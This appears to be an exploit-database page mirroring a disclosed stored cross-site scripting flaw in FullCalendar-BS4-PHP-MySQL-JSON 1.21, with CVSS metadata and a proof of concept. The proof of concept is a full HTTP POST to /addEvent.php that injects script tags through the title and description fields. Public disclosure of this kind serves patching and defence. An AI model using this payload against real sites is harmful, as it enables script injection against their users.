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waldronmatt FullCalendar-BS4-PHP-MySQL-JSON 1.21 Cross Site Scripting

CVE Category Price Severity
CVE-XXXX-XXXX CWE-79 Not specified High
Author Risk Exploitation Type Date
waldronmatt High Remote 2019-10-29
CPE
cpe:cpe:/a:waldronmatt:fullcalendar:1.21
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019100175

Below is a copy:

waldronmatt FullCalendar-BS4-PHP-MySQL-JSON 1.21 Cross Site Scripting
Exploit Title: waldronmatt FullCalendar-BS4-PHP-MySQL-JSON 1.21 - 'description' Cross-Site Scripting
Date: 2019-10-28
Exploit Author: Cakes
Vendor Homepage: waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON
Software Link: https://github.com/waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON.git
Version: 1.21
Tested on: CentOS7
CVE : N/A

# Description:
# Cross-Site scripting vulnerability in the description field. This XSS completely breaks the web application.

#POC
POST /addEvent.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.20/calendar03/
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
Cookie: PHPSESSID=t41kk4huqaluhcfghvqqvucl56
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

title=%3Cscript%3Ealert%28%22TEST-Title%22%29%3B%3C%2Fscript%3E&description=%3Cscript%3Ealert%28%22TEST-Description%22%29%3B%3C%2Fscript%3E&color=%230071c5&start=2019-01-23+00%3A00%3A00&end=2019-01-24+00%3A00%3A00

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